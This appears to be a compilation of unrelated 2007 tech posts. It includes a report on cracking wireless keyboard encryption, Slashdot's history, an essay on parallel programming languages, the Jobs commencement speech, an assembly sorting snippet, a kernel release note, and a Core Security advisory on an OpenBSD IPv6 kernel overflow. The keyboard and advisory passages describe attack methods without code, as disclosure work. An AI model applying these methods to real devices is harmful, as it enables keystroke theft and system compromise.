Wireless Keyboard "Encryption" Cracked

Security researchers have cracked the rudimentary encryption used in a range of popular wireless keyboards.

Bluetooth is increasingly becoming the de-facto standard for wireless communication in peripheral devices and is reckoned to be secure. But some manufacturers such as Logitech and Microsoft rely on 27 MHz radio technology which, it transpires, is anything but secure.

Using nothing more than a simple radio receiver, a soundcard and suitable software, Swiss security firm Dreamlab Technologies managed to capture and decode the radio communications between a keyboard and a PC. The attack opens the way up to all sorts of mischief including keystroke logging to capture login credentials to online banking sites or email accounts.

Dreamlab cracked the encryption key used within Microsoft Wireless Optical Desktop 1000 and 2000 keyboards. As most products in Microsoft's wireless range are based on the same technology other products are likely to be insecure. Max Moser and Phillipp Schrödel of Dreamlab Technologies succeeded in eavesdropping traffic from a distance of up to ten meters using a simple radio receiver. More sensitive receivers may make it possible to capture keystrokes over larger distances.

Sniffing traffic between wireless keyboards and their base stations was possible because of the weak encryption used, as explained in a white paper from Dreamlab:

To our surprise, only the actual keystroke data seems to be encrypted. The Metaflags and identifier bits aren't encrypted or obfuscated. The one byte USB Hid code is encrypted using a simple XOR mechanism with a single byte of random data generated during the association procedure.

This means that there are only 256 different key values possible per keyboard and receiver pair. We did not notice any automated key change interval and therefore assume that the encryption key stays the same until the user reassociates the keyboard. 256 key combination can be brute forced even with very slow computers today. We did not analyze the quality of the random number so far because it was not needed to successfully break the encryption.

"Wireless communication is only as secure as the encryption technology used. Due to its nature, it can be tapped with little effort," said Dreamlab's Max Moser.

A Brief History of Slashdot Part 1, Chips & Dips

As part of our 10 year anniversary celebration, I've decided to post a story here telling the tale of the transition from Chips & Dips to Slashdot back in 1997. For those of you who are new here (cough), CnD was the precursor to Slashdot, hosted on my personal homepage on the CompSci cluster of Hope College. Along with a number of random Linux related webpages, themes for window managers, random bits of code I wrote, this page was read by a great number of folks, mostly from the IRC scene. Hit the link below to read the tale of its transformation into an Internet superstar (and maybe later I'll write the the sequel where I talk of the transformation into sellout mega corporate evil and eventually irrelevant blemish on the history of the net ;) And don't forget to check for a Slashdot 10 year anniversary party in your area.


In the summer of 1997 I was contacted by a stranger out of the blue with a kind of random offer. During the previous school year Nate Oostendorp (who now works with SourceForge, Inc. while working on his Masters) had coded a Space Invaders clone. He wrote a Java sprite library, and I wrote the game and illustrated the alien armada. This guy had an old DEC Alpha Multia 166, and a client that wanted to remake the game with popcorn instead of aliens. So I drew the popcorn up, replaced the gifs, and he mailed me my first non x86 box since the 286 I got in middle school. (Later Sun sent me legal threats forcing me to take the game offline since it was called Java Invaders, and clearly this was an evil crime against the universe. My hatred for Java has never died since that moment.)

I immediately installed Red Hat on it. I was working at an ad agency called The Image Group at the time as a webmaster. I coded whatever needed doing and handled various admin tasks to keep their clients happy. At the time they needed full control over email addresses on the domains they built. Since they shared their mailserver with their ISP, there were frequent name collisions -- if the client wanted bob@theirdomain.com but there already was a bob on the system, they couldn't do it. They agreed to let me move my little Alpha onto their network to host their email... and I could use it to fart around with on my personal hobbies.

I named the box Ariel. It sat under my desk. I learned enough Perl to write a stupid simple CMS to replace the functionality of Chips & Dips, which up until that point was just a text file. Dave DeMaagd wrote a simple comment system. Since we both had a long history with BBSes, it seemed obvious to us that there needed to be a discussion system. There were no user accounts -- you entered whatever name you wanted each time you posted. If you left it blank, it auto-filled the space with the name 'Anonymous Coward', a title that stuck and spread throughout the net.

The original system was written in Perl because I wanted to learn more Perl. All the data storage was flat text files. (We lost most of the original stories during a data import a year or so later) The files were named like 0000001.shtml and so forth and were all rendered at time of page request. Best of all, since the system was written as a CGI, the whole script needed to be compiled every time there was a page request. It was months before I ported the whole thing to use MySQL and mod_Perl.

I registered the domain name Slashdot.org as a joke. It was 'org' because I didn't want a .com -- those were so common. I always thought org would be cooler, and besides, I had no commercial plans in mind. (Years later this bit me on the ass since someone else registered the .com. Doh!) The URL was meant to be unpronounceable by anyone -- a joke ultimately that has backfired on me countless times when I'm called and asked what the URL is to the damn thing. Jeff 'Hemos' Bates (now a VP of something or other with SourceForge, Inc.) was in the living room when I was registering the domain name. We all wanted email addresses with a unique domain name that wasn't attached to our school, so he chipped in on the registration fee.

When it came time to design the website's look, I took elements from a theme we had designed at The Image Group -- Paul Hart and I spent hours on it -- that was supposed to be the new website for the company, but it was passed on for another look. I still liked it, so I redesigned it more to my personal aesthetics (choosing #006666 as the dominant green replacing an earth tone green) and putting drop shadows all over everything (a habit I still haven't broken, and for which I am still mocked). Within days, most of the design elements you see on Slashdot were in place... the curves, the greens, the polls, the vertical list of stories so common in 2007, and, of course, discussions on each story.

And Slashdot was born. At first it had just a few thousand daily readers migrating over from Chips & Dips, but in a matter of weeks it had grown so fast that we started really having fun with it. One night we put up a poll asking how many shots Kurt 'The Pope' DeMaagd should drink. (Kurt later became our defacto HR man when we formed Blockstackers... today he is a professor at MSU.) But that night, Slashdot readers told him to take a dozen shots of alcohol -- he failed, but he tried.

I remember around the same time just watching 'tail -f' on the access_log. My world was rocked over and over again as I watched the domain names... mit.com! ibm.com! redhat.com! Hell, even microsoft.com kept scrolling through the log. I knew we had something... people from around the world, from the highest institutions in the land, from the biggest companies in the tech sector and to the most influential in the Linux world were all reading Slashdot. In fact, they were posting comments... as were a lot of people. It became commonplace to see hundreds of comments on stories, and the so-called 'Slashdot Effect' slowly grew into our lexicon as site after site buckled under our links.

In those days the content was a lot more personal then it is today. Stories would frequently refer to alcohol-related activities. I'd constantly mention that I had to leave to go to class so there wouldn't be more stories posted for a few hours. And when a professor in my pottery class assigned homework of to mass produce and sell some pottery as a lesson in being a commercial artist, I posted it, and ended up getting over 100 requests to buy my shitty mugs (all glazed teal ;) In the end I never did sell them -- I fulfilled the assignment locally. I think I still have one of those mugs left but I'm not sure- over the years my mediocre ceramics have been filtered out of a home increasingly tastefully decorated by my wife.

I continued to go to class and work my part time job. Ariel soon had loads so great that the machine was unusable during the day. And occasionally I would accidentally kick it and knock out a cable, bringing the machine offline. Soon after it saturated the office T1, I started realizing that there was no way I was going to be able to do this as "Just" a hobby. Essentially, every second of my life was consumed without time for a break. I'd go to class -- and often just work on Slashdot in the back row. (This was the first year we had computers at our desks in the CS dept at Hope.) My classwork suffered. On the upside, I became far more proficient at webwork, which really helped the part time job. I'd go home and code, post stories, reply to email until 2-3 a.m. and repeat it the next day. It was going to eventually be a full time job, requiring revenue and infrastructure that didn't exist back then. But I guess that's another story.

Parallel programming environments: less is more

The single most important paper for programming language designers to read came out in 2000. It wasn’t written by a computer scientist, mathematician, or physical scientist. It was written by a couple professors studying social psychology:

“When Choice is Demotivating: Can One Desire too Much of a Good Thing?” Iyengar, S. S., & Lepper, M. Journal of Personality and Social Psychology, 79, 995-1006. (2000).

This paper explored the phenomena of “choice overload.” Here is what they did.

They created two displays of gourmet jams. One display had 24 jars. The other had 6. Each display invited people to try the jams and offered them a discount coupon to buy the jam. They alternated these displays in a grocery store and tracked how many people passed the displays, how many people stopped and sampled the jams, and how many subsequently used the offered coupon to buy the jam.

The results were surprising.

• 24 jar display: 60% of the people passing the display sampled the jam, 3% purchased jam.
• 6 jar display: 40% of the people passing the display sampled the jam, 30% purchased jam.

The larger display was better at getting people’s attention. But the number of choices overwhelmed them and they just walked away with out deciding to purchase a jam. In other words, if the goal is to attract consumers, less is more. Too much choice is demotivating. Admittedly, selecting a gourmet jam is insignificant. Maybe for more important issues, “choice overload” is not relevant? The authors of this paper, however, went on to consider more important choices such as 401K plans, and once again, a clear choice overload effect was found. Choice overload is real. When people are faced with too many choices, the natural tendency is to “not make a choice” and just walk away (probably in frustration).

Why is this relevant to parallel programming?

Think about it. We (that is, computer companies) want to sell hardware. To do that, we need software. We display our platforms and hope software developers will spend their valuable development dollars porting to our platform.

So what is the situation today with multi-core processors? A software vendor walks up to “our display.” We show them our nice hardware with its many cores and we tell them they will need to convert their software so that it will scale. And then we show them the parallel programming environments they can work with: MPI, OpenMP, Ct, HPF, TBB, Erlang, Shmemm, Portals, ZPL, BSP, CHARM++, Cilk, Co-array Fortran, PVM, Pthreads, windows threads, Tstreams, GA, Java, UPC, Titanium, Parlog, NESL,Split-C … and the list goes on and on. If we aren’t careful, the result could very well be a “choice overload” experience with softwre vendors running away in frustration.

Think about the impression this glut of choices creates. If we “experts” can’t agree on how to write a parallel program, what makes us believe parallel programming is ready for the masses? In our quest to find that perfect language to make parallel programming easy, we actually harm our agenda and scare away the software developers we need.

We need to spend less time creating new languages and more time making the languages we have work. This is why anytime I hear someone talk about their great new language, I pretty much ignore them. Tell me how to make OpenMP work. Tell me how to fix MPI so it runs with equal efficiency on shared memory and distributed memory systems. Help me figure out how to get pthreads and OpenMP components to work together. Help me understand solution frameworks so high level programmers can create the software they need without becoming parallel algorithm experts. But don’t waste my time with new languages. With hundreds of languages and API’s out there, is anyone really dumb enough to think “yet another one” will fix our parallel programming problems?

I loved what I did

Text of Steve Jobs' Commencement address (2005)

This is the text of the Commencement address by Steve Jobs, CEO of Apple Computer and of Pixar Animation Studios, delivered on June 12, 2005.

I'm convinced that the only thing that kept me going was that I loved what I did.

And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become.

I am honored to be with you today at your commencement from one of the finest universities in the world. I never graduated from college. Truth be told, this is the closest I've ever gotten to a college graduation. Today I want to tell you three stories from my life. That's it. No big deal. Just three stories.

The first story is about connecting the dots.

I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out?

It started before I was born. My biological mother was a young, unwed college graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: "We have an unexpected baby boy; do you want him?" They said: "Of course." My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would someday go to college.

And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents' savings were being spent on my college tuition. After six months, I couldn't see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn't interest me, and begin dropping in on the ones that looked interesting.

It wasn't all romantic. I didn't have a dorm room, so I slept on the floor in friends' rooms, I returned coke bottles for the 5¢ deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on. Let me give you one example:

Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn't have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can't capture, and I found it fascinating.

None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And since Windows just copied the Mac, its likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later.

Again, you can't connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.

My second story is about love and loss.

I was lucky — I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $2 billion company with over 4000 employees. We had just released our finest creation — the Macintosh — a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating.

I really didn't know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down - that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me — I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over.

I didn't see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life.

During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple's current renaissance. And Laurene and I have a wonderful family together.

I'm pretty sure none of this would have happened if I hadn't been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. Sometimes life hits you in the head with a brick. Don't lose faith. I'm convinced that the only thing that kept me going was that I loved what I did. You've got to find what you love. And that is as true for your work as it is for your lovers. Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven't found it yet, keep looking. Don't settle. As with all matters of the heart, you'll know when you find it. And, like any great relationship, it just gets better and better as the years roll on. So keep looking until you find it. Don't settle.

My third story is about death.

When I was 17, I read a quote that went something like: "If you live each day as if it was your last, someday you'll most certainly be right." It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: "If today were the last day of my life, would I want to do what I am about to do today?" And whenever the answer has been "No" for too many days in a row, I know I need to change something.

Remembering that I'll be dead soon is the most important tool I've ever encountered to help me make the big choices in life. Because almost everything — all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.

About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn't even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor's code for prepare to die. It means to try to tell your kids everything you thought you'd have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes.

I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and I'm fine now.

This was the closest I've been to facing death, and I hope its the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept:

No one wants to die. Even people who want to go to heaven don't want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life's change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true.

Your time is limited, so don't waste it living someone else's life. Don't be trapped by dogma — which is living with the results of other people's thinking. Don't let the noise of others' opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary.

When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960's, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, and overflowing with neat tools and great notions.

Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: "Stay Hungry. Stay Foolish." It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you.

Stay Hungry. Stay Foolish.

Thank you all very much.

Natural language

In this paper I am going to describe about my new prototype, for a new language I am developing. I am naming it as "Natural language" instead of bringing it under the term "Computer language". Because I believe a language should be used to express the ideas instead of implementing it. A language should be used to express the idea and tool should be used to implement it.

All existing computer languages are merely tools and not exactly a language. They provide syntax base to implement our ideas. For example, in order to compute the circumference or area of a circle, all we have to know is the formula and technique. We know that circumference of circle in terms of radius is "2 pi r" and area in terms of radius is "pi r square". If I want to express or calculate this using a existing computer language, for example C language, it goes like this:

main
{
float pi = 3.1415;
float radius = 5;
float area, circumference;

circumference = 2 * pi * radius;
area = pi * radius * radius;

printf("Circumference of the circle: %f\n", circumference);
printf("Area of the circle: %f\n", area);
}

or if the value of pi and radius, have to be received from the user:

main()
{
float p, radius, area, circumference;

scanf("%f", &p);
scanf("%f", &radius);

circumference = 2 * p * radius;
area = p * radius * radius;

printf("Circumference of the circle: %f\n", circumference);
printf("Area of the circle: %f\n", area);

}

so, here instead of expressing the idea, I am just implementing it. Otherwise, lets say if I write "scanf("%f", &p);" as "scanf("%f", p);", this is going to result in a big mistake, because this is due to syntax. Hence, when we want to express our ideas using existing languages, we need to know 2 fundamental concepts

1) what to express
2) how to express

But, How actually a language should look like is:

start:

to find circumference of the circle:
assume pi as 3.1415;
receive the radius from the user via console and store it in rad;
receive the diameter from the user via console and store it in dia;
now compute the circumference of the circle;
store this result in circumference;

to find the area of the circle:
assume pi as 3.1415
receive the radius from the user via console and store it in rad;
receive the diameter from the user via console and store it in dia;
now compute the area of the circle;
store this result in area;

display the output:
display the computed circumference and area via console;

end:

you may ask Why I have not put ";" in the end of the line next to "to find the area of the circle:", because there is no syntax in my language. It is all about ideas and expressions !

this is very easy, simple and straightforward, as this only talks about the idea instead of implementation. Though, one way this can be termed as implementation, there is no way you are going to bother about variables, syntax; etc.

To put it otherwise, if you make some mistake, you are going to end up only logical errors instead of logical plus syntax errors !!!

OpenBSD's IPv6 mbufs remote kernel buffer overflow

OpenBSD's IPv6 mbufs remote kernel buffer overflow

Core Security Technologies - CoreLabs Advisory

Vendors contacted: OpenBSD.org

• 2007-02-20: First notification sent by Core.
• 2007-02-20: Acknowledgement of first notification received from the OpenBSD team.
• 2007-02-21: Core sends draft advisory and proof of concept code that demonstrates remote kernel panic.
• 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD branch of source tree.
• 2007-02-26: OpenBSD team communicates that the issue is specific to OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to bugs that lead to a remote denial of service attack, as opposed to bugs that lead to remote control of vulnerable systems to avoid oversimplifying ("pablumfication") the use of the term.
• 2007-02-26: Core email sent to OpenBSD team explaining that Core considers a remote denial of service a security issue and therefore does use the term "vulnerability" to refer to it and that although remote code execution could not be proved in this specific case, the possibility should not be discarded. Core requests details about the bug and if possible an analysis of why the OpenBSD team may or may not consider the bug exploitable for remote code execution.
• 2007-02-28: OpenBSD team indicates that the bug results in corruption of mbuf chains and that only IPv6 code uses that mbuf code, there is no user data in the mbuf header fields that become corrupted and it would be surprising to be able to run arbitrary code using a bug so deep in the mbuf code. The bug simply leads to corruption of the mbuf chain.
• 2007-03-05: Core develops proof of concept code that demonstrates remote code execution in the kernel context by exploiting the mbuf overflow.
• 2007-03-05: OpenBSD team notified of PoC availability.
• 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree branches and releases a "reliability fix" notice on the project's website.
• 2007-03-08: Core sends final draft advisory to OpenBSD requesting comments and official vendor fix/patch information.
• 
  
• 2007-03-09: OpenBSD team changes notice on the project's website to "security fix" and indicates that Core's advisory should reflect the requirement of IPv6 connectivity for a successful attack from outside of the local network.
• 2007-03-12: Advisory updates with fix and workaround information and with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" section of the advisory is adjusted to reflect more accurately the nature of the communications with the OpenBSD team regarding this issue.
• 2007-03-12: Workaround recommendations revisited. It is not yet conclusive that the "scrub in inet6" directive will prevent exploitation. It effectively stops the bug from triggering according to Core's tests but OpenBSD's source code inspection does not provide a clear understanding of why that happens. It could just be that the attack traffic is malformed in some other way that is not meaningful for exploiting the vulnerability (an error in the exploit code rather than an effective workaround?). The "scrub" workaround recommendation is removed from the advisory as precaution.
• 2007-03-13: Core releases this advisory.

Release Mode: FORCED RELEASE

Vulnerability Description
The OpenBSD kernel contains a memory corruption vulnerability in the code that handles IPv6 packets. Exploitation of this vulnerability can result in:

1) Remote execution of arbitrary code at the kernel level on the vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented packet.

OpenBSD systems using default installations are vulnerable because the default pre-compiled kernel binary (GENERIC) has IPv6 enabled and OpenBSD's firewall does not filter inbound IPv6 packets in its default configuration.

However, in order to exploit a vulnerable system an attacker needs to be able to inject fragmented IPv6 packets on the target system's local network. This requires direct physical/logical access to the target's local network -in which case the attacking system does not need to have a working IPv6 stack- or the ability to route or tunnel IPv6 packets to the target from a remote network.

Vulnerable Packages

OpenBSD 4.1 prior to Feb. 26th, 2006.
OpenBSD 4.0 Current
OpenBSD 4.0 Stable
OpenBSD 3.9
OpenBSD 3.8
OpenBSD 3.6
OpenBSD 3.1

All other releases that implement the IPv6 protocol stack may be vulnerable.

Sorting in ASM - Non Optimized snippet

# sorting - no optimized snippet

.section .data
list: .long 9, 8, 7, 6, 5, 4, 3, 2, 1, 0
dis: .ascii "\0\0\0\0\0"
newline: .ascii "\n\0"
space: .ascii " \0"
bsm: .ascii "Before sorting ... \n\0"
asm: .ascii "\nAfter sorting ... \n\0"

.section .text
.globl _start

_start:

pushl $bsm
pushl $20
call _printstr
addl $8, %esp

movl $10, %ecx
movl $0, %edi
bs:
cmpl $0, %ecx
je end_bs

movl list(, %edi, 4), %eax
# print the list
# *****************************************
pushl $dis
pushl %eax
call _int2str
addl $8, %esp

pushl $dis
pushl $1
call _printstr
addl $8, %esp

decl %ecx
incl %edi
jmp bs
# ****************************************
# end of print list

end_bs:

pushl $list
pushl $10
call _sort
addl $8, %esp

pushl $asm
pushl $21
call _printstr
addl $8, %esp

movl $10, %ecx
movl $0, %edi
as:
cmpl $0, %ecx
je end_as

movl list(, %edi, 4), %eax

# print the list
# *****************************************
pushl $dis
pushl %eax
call _int2str
addl $8, %esp

pushl $dis
pushl $1
call _printstr
addl $8, %esp

decl %ecx
incl %edi
jmp as
# ****************************************
# end of print list

end_as:
pushl $newline
pushl $1
call _printstr
addl $8, %esp

call _exit


.type _sort, @function
_sort:
pushl %ebp
movl %esp, %ebp
subl $20, %esp

# -4 = outer loop counter, -8 = = inc of 4, -12 = addr1, -16 = addr2, -20 = main loop

movl 12(%ebp), %esi # address of the list
movl 8(%ebp), %edi # number of items

movl $0, -8(%ebp) # incrementer of 4
movl $0, -12(%ebp)

movl %edi, -4(%ebp)
movl %edi, %ecx # outer loop counter
movl %ecx, -20(%ebp) # main loop counter

main_loop:
movl -20(%ebp), %ecx
cmpl $0, %ecx
je end_main_loop
decl %ecx
movl %ecx, -20(%ebp)

movl 12(%ebp), %esi
movl 8(%ebp), %edi

movl %edi, -4(%ebp)
movl %edi, %ecx
movl $0, -8(%ebp)

outer:
movl -4(%ebp), %ecx
cmpl $0, %ecx
#je end_outer
je main_loop

decl %ecx
movl %ecx, -4(%ebp)

movl -8(%ebp), %edx
addl %edx, %esi
movl (%esi), %eax # retrieve data
movl %esi, -12(%ebp) # store addr1

cmpl $0, -4(%ebp)
je yes
addl $4, %esi # next address jump
movl (%esi), %ebx # retrieve next data
movl %esi, -16(%ebp) # store addr2

movl 12(%ebp), %esi # restore base address

cmpl %eax, %ebx
jl less
jmp not_less
less:
xchg %eax, %ebx
movl -12(%ebp), %esi
movl %eax, (%esi)
movl -16(%ebp), %esi
movl %ebx, (%esi)
movl 12(%ebp), %esi # restore base address
not_less:

yes:
movl -8(%ebp), %edx
addl $4, %edx
movl %edx, -8(%ebp)

jmp outer

end_main_loop:
end_outer:
movl %ebp, %esp
popl %ebp
ret



.type int2str, @function
_int2str:
pushl %ebp
movl %esp, %ebp

# store original registers
pushl %eax
pushl %ebx
pushl %ecx
pushl %edx
pushl %esi
pushl %edi

movl 8(%ebp), %eax # original number
movl $0, %ecx # count, for length of the string
movl $10, %edi # the divisor, base

start_conversion:
movl $0, %edx
divl %edi
addl $'0', %edx
pushl %edx
incl %ecx
cmpl $0, %eax
je end_conversion
jmp start_conversion

end_conversion:
movl 12(%ebp), %edx # stores the address of the buffer

start_reversing:
popl %eax
movb %al, (%edx)
incl %edx
decl %ecx
cmpl $0, %ecx
je end_reversing
jmp start_reversing

end_reversing:
movb $0, (%edx) # null terminating character

# retirieve original registers
popl %edi
popl %esi
popl %edx
popl %ecx
popl %ebx
popl %eax

movl %ebp, %esp
popl %ebp
ret

.type printstr, @function
_printstr:
pushl %ebp
movl %esp, %ebp

# store original registers
pushl %eax
pushl %ebx
pushl %ecx
pushl %edx
pushl %edi
pushl %esi


movl $4, %eax
movl $1, %ebx
movl 12(%ebp), %ecx # the string
movl 8(%ebp), %edx
int $0x80

# retirieve original registers
popl %esi
popl %edi
popl %edx
popl %ecx
popl %ebx
popl %eax

movl %ebp, %esp
popl %ebp
ret

.type _exit, @function
_exit:
pushl %ebp
mov %esp, %ebp

pushl %eax
pushl %ebx

movl $1, %eax
movl $0, %ebx
int $0x80

popl %ebx
popl %eax

movl %ebp, %esp
popl %ebp
ret

Linux: 2.6.20 Kernel Released

From: Linus Torvalds [email blocked]
To: Linux Kernel Mailing List [email blocked]
Subject: Super Kernel Sunday!
Date: Sun, 4 Feb 2007 11:10:36 -0800 (PST)


In a widely anticipated move, Linux "headcase" Torvalds today
announced the immediate availability of the most advanced
Linux kernel to date, version 2.6.20.

Before downloading the actual new kernel, most avid kernel
hackers have been involved in a 2-hour pre-kernel-compilation
count-down, with some even spending the preceding week doing
typing exercises and reciting PI to a thousand decimal places.

The half-time entertainment is provided by randomly inserted
trivial syntax errors that nerds are expected to fix at home
before completing the compile, but most people actually seem to
mostly enjoy watching the compile warnings, sponsored by
Anheuser-Busch, scroll past.

As ICD head analyst Walter Dickweed put it: "Releasing a new
kernel on Superbowl Sunday means that the important 'pasty
white nerd' constituency finally has something to do while the
rest of the country sits comatose in front of their 65" plasma screens".

Walter was immediately attacked for his racist and insensitive
remarks by Geeks without Borders representative Marilyn vos
Savant, who pointed out that not all of their members are either
pasty nor white. "Some of them even shower!" she added, claiming
that the constant stereotyping hurts nerds' standing in society.

Geeks outside the US were just confused about the whole issue, and were heard wondering what the big hoopla was all about. Some of the more culturally aware of them were heard snickering about balls that weren't even round.

Linus

---

Shortlog since 2.6.20-rc7. Fixes, fixes.

There's a full ChangeLog together with the tar-ball and patches, but let
me just summarize it as: "A lot of stuff. All over. And KVM."

I tried rather hard to make 2.6.20 largely a "stabilization release".
Unlike a lot of kernels lately, there aren't really any big fundamental
changes to some core infrastructure area, and while we always have bugs, I
really am hoping that we fixed many more than we introduced.

Have fun. And remember: the thousandth decimal is, of course, 9. There
*will* be a test on this afterwards.


Adrian Bunk (1):
[NETFILTER]: nf_conntrack_h323: fix compile error with CONFIG_IPV6=m,
CONFIG_NF_CONNTRACK_H323=y

Al Viro (12):
netxen patches
fix frv headers_check
mca_nmi_hook() can be called at any point
ide section fixes
endianness bug: ntohl() misspelled as >> 24 in fh_verify().
fork_idle() should be __cpuinit, not __devinit
__crc_... is intended to be absolute
efi_set_rtc_mmss() is not __init
sanitize sections for sparc32 smp
radio modems sitting on serial port are not for s390
uml-i386: fix build breakage with CONFIG_HIGHMEM
fix rtl8150

Alan (3):
pata_atiixp: propogate cable detection hack from drivers/ide to the new driver
pata_via: Correct missing comments
libata: Fix ata_busy_wait() kernel docs

Andrew Morton (2):
pci: remove warning messages
revert blockdev direct io back to 2.6.19 version

Auke Kok (1):
e100: fix napi ifdefs removing needed code

Avi Kivity (1):
KVM: fix lockup on 32-bit intel hosts with nx disabled in the bios

Bartlomiej Zolnierkiewicz (1):
via82cxxx: fix typo ("cx7000" should be corrected to "cx700")

Bob Breuer (1):
[SPARC32]: Fix over-optimization by GCC near ip_fast_csum.

Brian King (1):
libata: Initialize nbytes for internal sg commands

David C Somayajulu (1):
[SCSI] qla4xxx: bug fixes

Evgeniy Dushistov (1):
MAINTAINERS: ufs entry

Frédéric Riss (1):
EFI x86: pass firmware call parameters on the stack

Guillaume Chazarain (1):
procfs: Fix listing of /proc/NOT_A_TGID/task

Haavard Skinnemoen (1):
Remove [email blocked] from MAINTAINERS

Jean Delvare (1):
via quirk update

Jeff Garzik (1):
x86-64: define dma noncoherent API functions

Jens Osterkamp (1):
spidernet : fix memory leak in spider_net_stop

John Keller (1):
Altix: more ACPI PRT support

Kai Makisara (1):
[SCSI] st: A MTIOCTOP/MTWEOF within the early warning will cause the file number to be incorrect

Ken Chen (1):
aio: fix buggy put_ioctx call in aio_complete - v2

Lars Immisch (1):
[NETFILTER]: SIP conntrack: fix skipping over user info in SIP headers

Li Yewang (1):
[IPV6]: fix BUG of ndisc_send_redirect()

Linus Torvalds (3):
Revert "[PATCH] mm: micro optimise zone_watermark_ok"
Revert "[PATCH] fix typo in geode_configre()@cyrix.c"
Linux 2.6.20

Magnus Damm (1):
kexec: Avoid migration of already disabled irqs (ia64)

Matthew Wilcox (1):
[SCSI] Fix scsi_add_device() for async scanning

Michael Chan (1):
[BNX2]: PHY workaround for 5709 A0.

Mike Frysinger (1):
alpha: fix epoll syscall enumerations

Nagendra Singh Tomar (1):
[SCSI] sd: udev accessing an uninitialized scsi_disk field results in a crash

